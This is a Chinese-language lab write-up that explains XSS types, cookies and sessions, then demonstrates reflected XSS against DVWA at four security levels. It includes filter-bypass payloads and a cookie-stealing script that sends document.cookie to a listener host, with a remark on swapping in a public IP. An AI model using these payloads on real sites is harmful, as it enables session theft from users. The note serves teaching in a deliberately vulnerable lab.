【白帽子学习笔记13】DVWA CSRF【反射性XSS(跨站点脚本攻击)】
文章目录
参考博客:https://blog.csdn.net/weixin_43625577/article/details/89917893
XSS
1、什么是XSS?
XSS,跨站脚本攻击(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意的 Script 代码,当用户浏览该页面时,嵌入其中 Web 里面的 Script 代码就会被执行,从而达到恶意攻击用户的目的。
2、XSS类型
-
反射型XSS:非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。特点:弹窗警告、广告;javascript;在浏览器中执行。
-
存储型XSS:持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie。
-
DOM型XSS:文本对象模式XSS,通过修改页面的DOM节点形成的XSS,可存储型,可反射型,只取决于输出地点。
3、漏洞形成的原因
- 服务器对用户提交的数据过滤不严;
- 提交给服务器端的脚本被直接返回给其他客户端执行;
- 脚本在客户端执行恶意操作;
反射型XSS
1、原理图
获取Cookie
首先需要认识的一个事情就是什么是Cookie?以及他是怎么生成的?
-
什么是Cookie?
Cookie,有时也用其复数形式 Cookies。类型为“小型文本文件”,是某些网站为了辨别用户身份,进行Session跟踪而储存在用户本地终端上的数据(通常经过加密),由用户客户端计算机暂时或永久保存的信息 -
Cookie的组成
Cookie是一段不超过4KB的小型文本数据,由一个名称(Name)、一个值(Value)和其它几个用于控制Cookie有效期、安全性、使用范围的可选属性组成
(1) Name/Value:设置Cookie的名称及相对应的值,对于认证Cookie,Value值包括Web服务器所提供的访问令牌(2) Expires属性: 设置Cookie的生存期。有两种存储类型的Cookie:会话性与持久性。Expires属性缺省时,为会话性Cookie,仅保存在客户端内存中,并在用户关闭浏览器时失效;持久性Cookie会保存在用户的硬盘中,直至生存期到或用户直接在网页中单击“注销”等按钮结束会话时才会失效
(3) Path属性:定义了Web站点上可以访问该Cookie的目录
(4) Domain属性:指定了可以访问该 Cookie 的 Web 站点或域。Cookie 机制并未遵循严格的同源策略,允许一个子域可以设置或获取其父域的 Cookie。当需要实现单点登录方案时,Cookie 的上述特性非常有用,然而也增加了 Cookie受攻击的危险,比如攻击者可以借此发动会话定置攻击。因而,浏览器禁止在 Domain 属性中设置.org、.com 等通用顶级域名、以及在国家及地区顶级域下注册的二级域名,以减小攻击发生的范围
(5) Secure属性:指定是否使用HTTPS安全协议发送Cookie。
(6) HTTPOnly 属性 :用于防止客户端脚本通过document.cookie属性访问Cookie,有助于保护Cookie不被跨站脚本攻击窃取或篡改。但是,HTTPOnly的应用仍存在局限性,一些浏览器可以阻止客户端脚本对Cookie的读操作,但允许写操作;此外大多数浏览器仍允许通过XMLHTTP对象读取HTTP响应中的Set-Cookie头
-
Cookie的产生过程
正统的cookie分发是通过扩展HTTP协议来实现的,服务器通过在HTTP的响应头中加上一行特殊的指示以提示浏览器按照指示生成相应的cookie。然而纯粹的客户端脚本如JavaScript或者VBScript也可以生成cookie。而cookie的使用是由浏览器按照一定的原则在后台自动发送给服务器的。浏览器检查所有存储的cookie,如果某个cookie所声明的作用范围大于等于将要请求的资源所在的位置,则把该cookie附在请求资源的HTTP请求头上发送给服务器。 -
cookie和session的原理
当程序需要为某个客户端的请求创建一个session时,服务器首先检查这个客户端的请求里是否已包含了一个session标识------------称为session id,如果已包含则说明以前已经为此客户端创建过session,服务器就按照session id把这个session检索出来使用(检索不到,会新建一个),如果客户端请求不包含session id,则为此客户端创建一个session并且生成一个与此session相关联的session id,session id的值应该是一个既不会重复,又不容易被找到规律以仿造的字符串,这个session id将被在本次响应中返回给客户端保存。保存这个session id的方式可以采用cookie,这样在交互过程中浏览器可以自动的按照规则把这个标识发挥给服务器。一般这个cookie的名字都是类似于SEEESIONID。但cookie可以被人为的禁止,则必须有其他机制以便在cookie被禁止时仍然能够把session id传递回服务器。
经常被使用的一种技术叫做URL重写,就是把session id直接附加在URL路径的后面。还有一种技术叫做表单隐藏字段。就是服务器会自动修改表单,添加一个隐藏字段,以便在表单提交时能够把session id传递回服务器。
原理图:
重定向
- 黑客首先向服务器发送js脚本
- 服务器将含有js脚本的页面发给黑客
- 黑客将js脚本的页面的url发送给被攻击方
- 被攻击方点击url重定向到第三方网站
如果第三方网站的带宽比较小的话就很有可能崩掉
2、安全等级:LOW
源码:
我们先来看一下源代码:
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
源码是直接获取用户的输入内容,没有做出任何的判断. 啥命令都可以执行了啊
尝试XSS注入
输入这段话<script> alert("I'm Keter")</script>
会显示弹窗;
抓包看一下现在的页面
当然了你还可以输入这些代码:
- 直接嵌入html:
<script>alert('xss')</script>
,弹出弹框xss。 - 元素标签事件
<body οnlοad=alert('xss')>
,弹出弹框xss。 <a href=http://192.168.232.1>登录</a>
<img src=http://192.168.232.1/a.jpg οnerrοr=alert('xss1')>;
如果在服务器\192.168.232.1上找不到图片a.jpg,则弹出弹框xss1。<a href=’’ οnclick=alert('xss2')>点击</a>;
点击 ’ 点击 ’ 超链接,弹出弹框xss2。
重定向
<script>window.location="http://www.baidu.com"</script>;
提交后直接会重定向到百度。
获取Cookie
<script>new Image().src="http://192.168.232.1/c.php?output="+document.cookie;</script>
提交之前在kali上监听192.168.232.1 (我的本地服务器)的80端口,在用户提交之后会收到Cookie值。192.168.232.1是我的本地服务器,如果想要实战的话只需要换成自己云服务器对应的公网ip地址。
之后我们提交一下
我们还可以直接让Cookie以弹窗的方式弹出来
<script>alert(document.cookie)</script>
3、安全等级:Medium
Medium的代码中加上了这样一句话:
这是基于黑名单的思想,先把script给你去掉,这样你就使用不了js脚本了
解决办法: 解决方法也很简单
- 大小写混写
<Script>alert("xss")</script>
- 把
script
嵌入到<script>
比如<scr<script>ipt>
这样别人给你消掉之后又会get一个新的script
4、安全等级:High
我们看一下源码:
分析:
代码使用了pred_replace()函数用于正则表达式的搜索和替换,将script前后相关内容都替换为空,使得双写绕过不再有效;
虽然无法使用<script>
标签注入XSS代码,当时可以通过img、body等标签事件或者iframe等标签的src进行注入js代码
解决方法:
- 使用
<body οnlοad=alert('XSS2')>
<a href=http://192.168.247.129>登录</a>
5、安全等级:Impossible
源码:
当安全级别为impossible,使用htmlspecialchars() 函数把预定义的字符转换为 HTML 实体,防止浏览器将其作为HTML元素(特殊意义);不能实现反射型XSS攻击;